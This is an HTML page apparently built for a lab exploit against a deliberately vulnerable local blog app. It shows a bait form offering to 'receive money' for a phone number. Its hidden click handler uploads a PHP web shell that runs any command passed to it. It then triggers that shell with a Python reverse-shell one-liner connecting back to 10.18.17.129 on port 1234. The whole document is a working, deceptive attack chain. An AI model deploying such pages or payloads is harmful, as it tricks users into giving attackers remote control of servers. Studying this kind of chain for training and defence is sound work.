<label>Input your phone number to receive money:</label>

<input type="text" id="phone" class="text-input">

<button type="submit" id="btn" name="comment" class="btn">Click here to receive money</button>

<script>

const submit = document.getElementById("btn");

submit.addEventListener("click", function(event) {

var data = `------WebKitFormBoundaryLO6qFD0Bcq3kZnXN

Content-Disposition: form-data; name=\"avatar\"; filename=\"shell.php\"

Content-Type: application/octet-stream\n

<?php echo system($\_GET[\"cmd\"]); \?>

------WebKitFormBoundaryLO6qFD0Bcq3kZnXN--`;

var cmd = `python3 -c 'import socket,subprocess,os;

s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);

s.connect(("10.18.17.129",1234));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);

import pty; pty.spawn("bash")'`

fetch("http://localhost/vuln-blog-web/upload.php",{

method: "POST",

headers: {

"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryLO6qFD0Bcq3kZnXN"

},

body: data

}).then(() => {

fetch("http://localhost/vuln-blog-web/uploads/shell.php?cmd="+cmd)

});

});

</script>